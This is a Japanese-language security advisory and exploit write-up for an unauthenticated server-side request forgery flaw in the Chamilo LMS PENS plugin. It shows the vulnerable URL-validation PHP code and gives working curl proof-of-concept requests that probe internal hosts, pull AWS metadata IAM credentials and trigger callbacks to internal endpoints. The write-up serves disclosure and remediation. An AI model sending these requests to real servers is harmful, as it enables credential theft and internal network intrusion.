
Chamilo LMS PENSプラグインにおける未認証のSSRFエクスプロイト。内部ネットワークやクラウドメタデータにアクセスする2つのベクターを実証し、PoCと根本原因分析を提供します。
深刻度: 高 (CVSS 8.6)
CWE: CWE-918 (サーバーサイドリクエストフォージェリ)
影響を受けるバージョン: chamilo/chamilo-lms 2.0-RC.2
修正バージョン: 2.0-RC.3
アドバイザリ: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
クレジット: Romain Deperne
PENS (Package Exchange Notification Services) プラグインのエンドポイント public/plugin/Pens/pens.php は認証なしでアクセス可能であり、パッケージのダウンロードとコールバック通知の両方でユーザー制御の URL を受け入れます。URL 検証関数はスキームとホストの存在をチェックしますが、プライベート IP のフィルタリングを一切行わないため、内部ネットワークやクラウドメタデータサービスへの未認証 SSRF が可能になります。
CVE-2026-33715 の後、私はネットワーク側の影響を持つ他の未認証 Chamilo エンドポイントを調査しました。PENS プラグイン (public/plugin/Pens/) は外部 URL からパッケージを取得し、外部サーバーへコールバックを送信するため、2 つの SSRF 攻撃面を生み出します。
私は URL 検証ロジックを探して PensProcessor.php を読みました。isAllowedDownloadUrl() と isAllowedCallbackUrl() はどちらもスキーム (http/https) とホストが空でないことをチェックするだけで、そこで止まっています。RFC 1918 のフィルタリングも、ループバックのチェックも、リンクローカルのチェックもありません。コメントにはホストチェックの後に「true を返す」とさえ書かれており、これが SSRF を意識せずに書かれたものであることは明らかでした。
これが以前の Chamilo CVE と異なる点は、2 つの独立した SSRF ベクターを持つことです。1 つはパッケージ取得用(サーバーが攻撃者制御の URL からファイルを取得する)、もう 1 つはコールバック用(サーバーが攻撃者制御のエンドポイントへ POST する)です。コールバックベクターは、サーバーが PENS ステータスデータを指定した任意の URL へ POST し、レスポンスのパースを攻撃者が制御できるため、内部サービスのレスポンスを外部に持ち出すのに特に有用です。
クラウド環境では、169.254.169.254 のメタデータエンドポイントが両方のベクターを通じて到達可能です。
ファイル: public/plugin/Pens/lib/PensProcessor.php
2 つの異なる SSRF ベクター:
ベクター 1 — パッケージ URL の取得 (376 行目、138 行目):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
ベクター2 — コールバックSSRF(318行目):receipt と alerts パラメータは、サーバーがPOSTコールバックを送信するURLを指定するもので、同様に検証が欠如している。
isAllowedDownloadUrl() と isAllowedCallbackUrl() は、URLがhttp/httpsスキームを持ち、ホストが空でないことのみを検証する。RFC 1918のプライベート範囲(10.x、172.16.x、192.168.x)、ループバック(127.x)、リンクローカル(169.254.x — クラウドメタデータ)、およびIPv6の同等範囲はすべて受け入れられる。
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254 経由で IAM 認証情報を取得注: これは CVE-2022-27426(social/links ツールにおける SSRF)とは異なります — コードパスが異なり、プラグインも異なり、未認証です。